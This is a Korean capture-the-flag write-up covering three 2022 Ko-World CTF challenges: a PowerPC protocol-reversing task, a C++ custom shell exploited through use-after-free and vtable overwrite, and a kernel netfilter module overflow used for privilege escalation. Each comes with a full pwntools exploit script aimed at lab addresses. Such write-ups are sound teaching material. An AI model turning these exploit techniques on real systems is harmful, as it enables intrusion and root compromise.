2022 Ko-World CTF Writeup

17 minute read

easytlv

  • protocol reversing, base64

32bit MSB executable 파일이 주어진다. 평소에 보던 LSB executable이 아니라 MSB executable 파일이라 패킹할 때 endian을 잘 고려해야 한다.

easytlv: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=31b0c6b8608636e8a3e67860615bb01a53b2af44, not stripped

base64인코딩은 https://gist.github.com/happyjake/3623640 의 소스코드를 활용한 걸로 보인다.

recv_message_header에서는 총 10바이트를 입력받게 되는데 첫 두바이트는 \x13\x37로 맞춰야한다. 다음 4바이트는 BASE64인코딩된 payload의 length이다. 다음 4바이트는 recv_messages_b64의 반복 루프 수이다.

 1int __fastcall recv_message_header(int a1, unsigned int *a2, unsigned int *a3)
 2{
 3  unsigned int v8; // [sp+20h] [-20h] BYREF
 4  unsigned int v9; // [sp+24h] [-1Ch] BYREF
 5  _BYTE v10[20]; // [sp+28h] [-18h] BYREF
 6
 7  if ( read(a1, v10, 2u) != 2 )
 8    return -1;
 9  if ( read(a1, &v8, 4u) != 4 )
10    return -1;
11  if ( read(a1, &v9, 4u) != 4 )
12    return -1;
13  if ( v10[0] != 0x13 || v10[1] != 0x37 )
14    return -2;
15  if ( v8 > 32768 )
16    return -2;
17  if ( v9 > 128 )
18    return -2;
19  *a2 = v8;
20  *a3 = v9;
21  return 0;
22}

main함수에서 message_get함수를 호출하게 되는데 message_get(data, 255, 1);을 보면 recv_messages_b64에서 세팅한 값에 따라 control flow가 결정된다. 즉, *(data + i + 4)의 값을 255, *(data + i + 132)값을 0을 맞춰주면 된다. 그리고 *(_DWORD *)(data + 4 * (idx + 0x40) + 4)의 값을 1로 맞추면 do_ls 함수를 호출 할 수 있고, 2로 맞추면 do_cat함수를 호출할 수 있다.

message_get

 1unsigned int __fastcall message_get(unsigned int *data, char a2, char a3)
 2{
 3  unsigned int i; // [sp+1Ch] [-14h]
 4
 5  for ( i = 0; *data > i; ++i )
 6  {
 7    if ( a2 == *(data + i + 4) && a3 == *(data + i + 132) )
 8      return i;
 9  }
10  return -1;
11}

do_ls를 짜려면 다음과 같은 조건들을 만족해야 한다.

 1int __fastcall do_ls(int a1)
 2{
 3  int v3; // [sp+1Ch] [-14h]
 4
 5  if ( *(a1 + 4 * (message_get(a1, 0, 0) + 64) + 4) == 1 ) // a1[4*(64+idx)+4] == 1
 6  {
 7    v3 = *(a1 + 4 * (message_get(a1, 1, 2) + 64) + 4);
 8    if ( v3 )
 9      execl("/bin/ls", "/bin/ls", v3, 0);
10  }
11  return -1;
12}

만약 ls / 를 호출하고 싶다면 다음과 같이 짜면 된다.

  1. message_get(a1, 0, 0)을 우선 만족시켜야 하고 *(_BYTE *)(data + 4 * (idx + 64) + 4) 가 1이면 된다. 이는 recv_messages_b64에서 주석처럼 채워주면 조건을 만족할 수 있다. 이 부분의 payload는 \x00\x00\x01\x00\x00\x00\x00\x01 이 된다.
 1plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 0
 2plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 0
 3plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
 4switch ( d2 )
 5	case 0:
 6		if ( d3 != 1 )
 7			return -1;
 8		plaintext = get_and_dec(plaintext, &d4, 1u, &size); // 1
 9		if ( !plaintext )
10			return -1;
11		*(_BYTE *)(data + idx + 4) = d1; // 0
12		*(_BYTE *)(data + idx + 132) = d2; // 0
13		*(_BYTE *)(data + 4 * (idx + 64) + 4) = d4 != 0;// *(a1 + 4 * (message_get(a1, 0, 0) + 64) + 4) == 1
14		break;
  1. 다음은 execl("/bin/ls”, “/bin/ls”, v3, 0); 에서 v3에 들어갈 경로를 세팅해야 한다. v3는 포인터가 들어가야한다. v3 = *(a1 + 4 * (message_get(a1, 1, 2) + 64) + 4); 그러면 case2를 이용하면 원하는 문자열을 넣을 수 있고 추가로 포인터를 세팅할 수 있다. ls / 을 할거면 /는 1글자니까 d3에 1을 세팅해주면 된다. 그러면 get_and_dec(plaintext, ptr, d3, &size) 코드를 통해 동적할당한 영역에 / 를 넣을 수 있고 이 포인터를 *(_DWORD *)(data + 4 * (idx + 64) + 4) 에 넣어서 execl의 세번째 인자로 넘길 수 있다.
 1plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 1
 2plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 2
 3plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
 4switch ( d2 ){
 5	case 2:
 6		ptr = malloc(d3);
 7		if ( !ptr )
 8			return -1;
 9		plaintext = get_and_dec(plaintext, ptr, d3, &size); // path
10		if ( !plaintext )
11			return -1;
12		*(_BYTE *)(data + idx + 4) = d1; // 1
13		*(_BYTE *)(data + idx + 132) = d2; // 2
14		*(_DWORD *)(data + 4 * (idx + 64) + 4) = ptr;// v3 = *(a1 + 4 * (result + 64) + 4)
15		break;
  1. ls를 호출하려면 main에서 do_ls를 call 해야한다. 우리는 do_ls를 할거면 주석처럼 조건을 맞춰주면 된다. main에서 v7 = message_get(data, 255, 1); 가 호출되고 여기 d4에 따라 do_ls, do_cat을 호출할지 결정할 수 있다.
 1plaintext = get_and_dec(plaintext, &d1, 1u, &size);// \xff
 2plaintext = get_and_dec(plaintext, &d2, 1u, &size);// \x01
 3plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x04\x00\x00\x00
 4switch ( d2 )
 5{
 6	case 1:
 7		if ( d3 != 4 )
 8			return -1;
 9		plaintext = get_and_dec(plaintext, &d4, 4u, &size); // 1 : do_ls | 2 : do_cat
10		if ( !plaintext )
11			return -1;
12		*(_BYTE *)(data + idx + 4) = d1; // 255
13		*(_BYTE *)(data + idx + 132) = d2; // 1
14		*(_DWORD *)(data + 4 * (idx + 0x40) + 4) = d4 // 1 : do_ls | 2 : do_cat
15		break;

페이로드는 다음과 같이 짜면 되고, header는 \x13\x37 고정하고, Base64 인코딩된 payload의 길이만큼 보내주면 되고, 다음은 switch 루틴 3번 돌리니까 3을 써주면 된다. ls 페이로드랑 다르게 cat 페이로드는 /flag.txt는 9글자이므로 2번째 section은 9로 맞추고, 3번째 section은 2로 맞춰서 execl("/bin/cat", "/bin/cat", "/flag.txt", 0); 를 실행하게 하면 된다.

exploit.py

 1from pwn import *
 2import base64
 3context.log_level = 'debug'
 4p = remote('192.168.171.91',31337)
 5
 6# content
 7ls = b"\x00\x00\x01\x00\x00\x00\x01"
 8ls += b"\x01\x02\x01\x00\x00\x00"
 9ls += b"/"
10ls += b"\xff\x01\x04\x00\x00\x00\x01\x00\x00\x00"
11pay2 = base64.b64encode(ls)
12
13cat = b"\x00\x00\x01\x00\x00\x00\x01"
14cat += b"\x01\x02\x09\x00\x00\x00"
15cat += b"/flag.txt"
16cat += b"\xff\x01\x04\x00\x00\x00\x02\x00\x00\x00"
17pay2 = base64.b64encode(cat)
18
19# header
20pay = b'\x13\x37'
21pay += p32(len(pay2), endian='little')
22pay += p32(3, endian='little')
23
24p.send(pay)
25sleep(0.1)
26
27p.send(pay2)
28
29p.interactive()

ls payload를 보내면 다음과 같다.

cat payload를 보내면 다음과 같은 결과를 얻을 수 있다.

FLAG : The course of true love never did run smooth.

csh

  • UAF, C++ Map, vtable, RCE

바이너리에 모든 보호기법이 걸려있었다.

➜  day2 python3 ex.py
[*] '/vagrant/koworld/day2/csh'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
[+] PIE:      PIE enabled

문제 컨셉은 csh 그대로 커스텀 쉘이다. 기능은 ls, echo, cat, rm Linux Command들이다. 파일을 실행하고 help를 누르면 다음과 같이 Custom Shell Command들이 나타난다. 총 4개의 기능들이 존재한다.

➜  day2 ./csh
> help
Custom Shell

command:
	help - print usable command
	ls   - list directory contents
	echo - display a line of text
	cat  - concatenate files and print on the standard output
	rm   - remove file

input에 따라 executeCommand에서 다음 control flow가 변경된다.

함수를 하나하나 자세히 알아보자.

echo는 총 3가지 방법으로 쓸 수 있다.

  1. echo AAAA : AAAA 출력한다.
  2. echo AAAA > BBBB : BBBB파일에 AAAA를 쓴다.
  3. echo AAAA » BBBB : BBBB파일이 없으면 AAAA를 쓴다. 만약 BBBB파일이 있으면 AAAA를 덧붙임.

echo

 1	else if ( std::filesystem::__cxx11::operator==(v31, "echo") )
 2  {
 3    std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v28, a1);
 4    valid = validArguments(v28, 4);
 5    std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v28);
 6    if ( valid )
 7    {
 8      v3 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
 9             a1,
10             1LL);
11      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v33, v3);
12      v4 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
13             a1,
14             2LL);
15      if ( std::filesystem::__cxx11::operator==(v4, ">") )// create file
16      {
17        v5 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
18               a1,
19               3LL);
20        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v5);
21        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
22        File = getOrCreateFile(MYOBJ);
23        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
24        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v33);
25        CustomFileObj::create(File, MYOBJ);     // create
26        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
27      }
28      else
29      {
30        v6 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
31               a1,
32               2LL);
33        if ( std::filesystem::__cxx11::operator==(v6, &off_A12C) )// add file
34        {
35          v7 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
36                 a1,
37                 3LL);
38          std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v7);
39          std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
40          v24 = getOrCreateFile(MYOBJ);
41          std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
42          std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v33);
43          CustomFileObj::add(v24, MYOBJ);       // add
44          std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
45        }
46      }
47      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
48    }
49    else
50    {
51      std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v29, a1);
52      v8 = validArguments(v29, 2);
53      std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v29);
54      if ( v8 )
55      {
56        v9 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
57               a1,
58               1LL);
59        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v9);
60        if ( std::filesystem::__cxx11::operator==(MYOBJ, ">") || std::filesystem::__cxx11::operator==(MYOBJ, &off_A12C) )
61          v11 = std::operator<<<std::char_traits<char>>(&std::cout, "syntax error near unexpected token 'newline'");
62        else
63          v11 = std::operator<<<char>(&std::cout, MYOBJ);
64        std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
65        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
66      }
67      else
68      {
69        v12 = std::operator<<<std::char_traits<char>>(&std::cout, "echo: invalid arguments");
70        std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
71      }
72    }
73  }

ls는 list()함수를 call해서 처리하는데 할당된 map들을 루틴 돌려서 파일을 출력해준다.

ls

 1	else if ( std::filesystem::__cxx11::operator==(v31, "ls") )
 2  {
 3    std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
 4    v13 = validArguments(v30, 2);
 5    std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
 6    if ( v13 )
 7    {
 8      v14 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
 9              a1,
10              1LL);
11      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v14);
12      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
13      list(MYOBJ);
14      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
15    }
16    else
17    {
18      list();
19    }
20  }

cat은 getOrCreateFile을 통해서 Customfile을 읽을수 있다. 다만 여기서 가상함수를 사용해 호출한다.

cat

 1		if ( std::filesystem::__cxx11::operator==(v31, "cat") )
 2    {
 3      std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
 4      v15 = 1;
 5      if ( validArguments(v30, 2) )
 6        v16 = 1;
 7    }
 8    if ( v15 )
 9      std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
10    if ( v16 )
11    {
12      v17 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
13              a1,
14              1LL);
15      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v17);
16      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
17      v25 = getOrCreateFile(MYOBJ);
18      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
19      v18 = (**v25)(v25);                       // vuln
20      Contents = CustomContentsObj::getContents(v18);
21      concatenate(Contents);
22    }

rm은 Customfile을 지워주는 역할을 한다. 여기서 remove에서 CreatefileObj의 메모리를 해제 하지 않는다.

rm

 1			if ( std::filesystem::__cxx11::operator==(v31, "rm") )
 2      {
 3        std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
 4        v19 = 1;
 5        if ( validArguments(v30, 2) )
 6          v20 = 1;
 7      }
 8      if ( v19 )
 9        std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
10      if ( v20 )
11      {
12        v21 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
13                a1,
14                1LL);
15        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v21);
16        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
17        getOrCreateFileOBJ = getOrCreateFile(MYOBJ);
18        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
19        CustomFileObj::remove(getOrCreateFileOBJ);// free file
20        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
21        remove(MYOBJ);
22        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
23      }

Exploit Scenario

vtable을 덮으려면 우선 leak을 해야한다. 나 같은 경우는 Fuzzing을 하면서 릭을 해낸 case다. 우선 heap주소, CustomFileObj vtable 주소, main_arean의 주소를 구할 수 있었다. 이를 통해서 heap base, pie base, libc base 주소를 다 구했다.

그 다음에 트리거하는 부분이다.

  1. g파일을 하나 만들고, g파일을 삭제한다.
  2. h파일을 만든다. 그리고 g파일을 만드는데 여기서 UAF(Use After Free) 취약점을 이용할 수 있다. 그리고 vtable을 덮을 수 있게 된다. 그래서 함수포인터를 호출할 때 원하는 주소로 call을 할 수 있다. 다만 여기서 double 포인터로 맞춰줘야한다. 그래서 위에서 할당할 때 힙에 p64(piebase + 0x2849) 값을 써준다. 어차피 힙 베이스 주소를 아니까 어디에 적재되는지 알 수 있다.
  3. 이제 쉘 주소가 힙에 써진걸 알았으면 gdb로 serach 기능 활용해서 offset을 구한다. 그리고 g파일을 생성하면 된다. 그리고 content에 heapbase + offset을 써주면 이게 piebase + 0x2849를 가르키고 call을 쉘 주소로 할 수 있다.
1echo2(b'g',b'g')
2rm(b'g')
3echo2(b'h',b'h')
4echo2(p64(heapbase+75448),b'g')
5cat(b'h')

Exploit

exploit.py

  1from pwn import *
  2
  3context.log_level = 'debug'
  4e = ELF('./csh')
  5# p = process(e.path, aslr=True)
  6p = remote('192.168.171.15',50000)
  7
  8# shell = e.symbols['getRealShell']
  9
 10def echo(data):
 11	pay = b'echo ' + data
 12	p.sendlineafter(b'>', pay)
 13
 14def echo2(data, file):
 15	pay = b'echo ' + data + b' > ' + file
 16	p.sendlineafter(b'>', pay)
 17
 18def echo3(data, file):
 19	pay = b'echo ' + data + b' >> ' + file
 20	p.sendlineafter(b'>', pay)
 21
 22# 0x555555554000+0x000000000000391F
 23def cat(data):
 24	pay = b'cat ' + data
 25	p.sendlineafter(b'>', pay)
 26
 27# 0x555555554000+0x00000000000049DC
 28def rm(file):
 29	pay = b'rm ' + file
 30	p.sendlineafter(b'>', pay)
 31
 32def ls():
 33	p.sendlineafter(b'>',b'ls')
 34
 35echo2(b'a'*24, b'a')
 36echo2(b'b', b'b')
 37echo2(b'b'*24, b'a')
 38
 39cat(b'a')
 40rm(b'a')
 41cat(b'a')
 42
 43heapbase = hex(u64(b'\x00' + p.recvline()[:6] + b'\x00'))
 44heapbase = int(heapbase[:-1], 16) # [heap] +0x12200
 45heapbase = heapbase - 0x12200
 46print('heapbase : ' + hex(heapbase))
 47
 48echo2(b'c'*128,b'z')
 49echo2(b'c'*16,b'z')
 50echo2(b'c'*120+b'\x12\x34\x12\x34\x56\x56\x78\x78',b'z')
 51
 52# vtable
 53'''
 540x555555576400 —▸ 0x555555562bc0 —▸ 0x5555555589c6 (CustomFileObj::getContentsObj())
 550x555555562bc0 <vtable for CustomFileObj+16>:	0x00005555555589c6	0x00001555554f7fe0
 560x555555562bd0 <typeinfo for CustomFileObj+8>:	0x000055555555e240	0x0000000000000001
 57'''
 58cat(b'a')
 59vtable_customfileobj16 = u64(p.recvline()[1:6]+b'\x55\x00\x00')
 60print('vtable for CustomFileObj+16 : {}'.format(hex(vtable_customfileobj16)))
 61piebase = vtable_customfileobj16 - 0xebc0
 62print('piebase : {}'.format(hex(piebase)))
 63
 64
 65echo2(b'B'*56 + p64(piebase + 0x2849), b'A'*64)
 66rm(b'z')
 67cat(b'z')
 68main_arena = u64(p.recvline()[1:7]+b'\x00\x00') # main_arena + 96
 69print('main_arena : {}'.format(hex(main_arena)))
 70libc_base = main_arena - 0x219ce0
 71print('libc_base : {}'.format(hex(libc_base)))
 72
 73# # echo2(b'1234',b'5678')
 74# # echo2(b'5678',b'1234')
 75
 76echo2(b'g',b'g')
 77rm(b'g')
 78echo2(b'h',b'h')
 79echo2(p64(heapbase+75448),b'g')
 80pause()
 81cat(b'h')
 82p.interactive()
 83
 84'''
 85[heap]          0x556202a1f6b8 0x55620238f849
 86[heap]          0x556202a1f708 0x55620238f849
 87[heap]          0x556202a1f75d 0x55620238f849
 88[heap]          0x556202a1f85d 0x55620238f849
 89[heap]          0x556202a1f8fd 0x55620238f849
 90[heap]          0x556202a1f99d 0x55620238f849
 91[heap]          0x556202a1fa3d 0x55620238f849
 92[heap]          0x556202a1fb68 0x55620238f849
 93[heap]          0x556202a20028 0x55620238f849
 94[heap]          0x556202a2020e 0x55620238f849
 95[heap]          0x556202a2025e 0x55620238f849
 960x555555554000+0x000000000000391F
 97pwndbg> p/x 0x55a06a847bc0 - 0x55a06a839000
 98$1 = 0xebc0
 99# map {'filename':'content'}
100
101
102[*] '/vagrant/koworld/day2/csh'
103    Arch:     amd64-64-little
104    RELRO:    Full RELRO
105    Stack:    Canary found
106    NX:       NX enabled
107[+] PIE:      PIE enabled
108'''

FLAG : flag{hmm_th1s_sh3ll_1s_uns@fety}

capture

  • kernel, netfilter, LPE

서버환경은 Linux koworldctf 5.15.0-48-generic #54-Ubuntu SMP Fri Aug 26 13:26:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 다음과 같다.

➜  day3 modinfo capture.ko
filename:       /vagrant/koworld/day3/capture.ko
license:        GPL
srcversion:     0375125F8129DD64C2460B0
depends:
retpoline:      Y
name:           capture
vermagic:       5.15.0-48-generic SMP mod_unload modversions

packet 구조는 다음과 같습니다. tcp만 사용하고 udp는 사용 안합니다.

struct packet
{
    char name[4];

    union
    {
        struct tcp_packet tcp_pkt;
        struct udp_packet udp_pkt;
    };

    struct operators ops;
};

struct operators
{
    void (*clear)(void);
    int (*handler)(struct sk_buff *);
};

취약한 부분은 다음과 같습니다. 이부분에서 clear함수 포인터를 덮을 수 있게 됩니다.

for (i = 0; i < payload_len; i++)
{
	pkt->tcp_pkt.body.payload[i] = payload[i];
}

netfilter에서 네트워크를 후킹한다. tcp, udp의 패킷들을 capture해주므로 dmesg에서 확인할 수 있다.
코드를 보면 tcp 패킷이 들어오면 tcp_handler에서 처리해준다. 그 패킷을 동적할당 해논 pkt에 복사해준다. 하지만 여기서 패킷을 복사할 때 pkt->tcp_pkt.body.payload[i] = payload[i]; 코드 때문에 함수 포인터를 덮을 수 있게 된다. body 사이즈는 1440바이트고 뒤에 clear함수 포인터가 존재한다. ssh를 제공해줬으므로 kaslr을 고려하지 않고 로컬에서 아래처럼 privillege_escape함수의 주소를 패킹해서 보내주면 된다.

exploit.py

 1from pwn import *
 2import requests
 3
 4context.log_level='debug'
 5p = remote('192.168.171.15', 9001)
 6
 7packet = b'A'*1440
 8packet += p64(0xffffffffc06382c9)
 9
10p.send(packet)
11p.interactive()

익스플로잇 순서는 다음과 같다.

  1. ssh 내부에서 9001번 포트로 연다.

  2. 위의 python exploit code를 보낸다.

  3. 그러면 privilege escape !가 뜨는 것을 확인할 수 있다. commit_creds(prepare_kernel_cred(0)); 가 실행되면 Linux의 Task 구조체를 덮어서 해당 태스크는 최고관리자 권한을 획득할 수 있게 됩니다.

FLAG: flag{EZPZ_FUNNY_NETFILTER}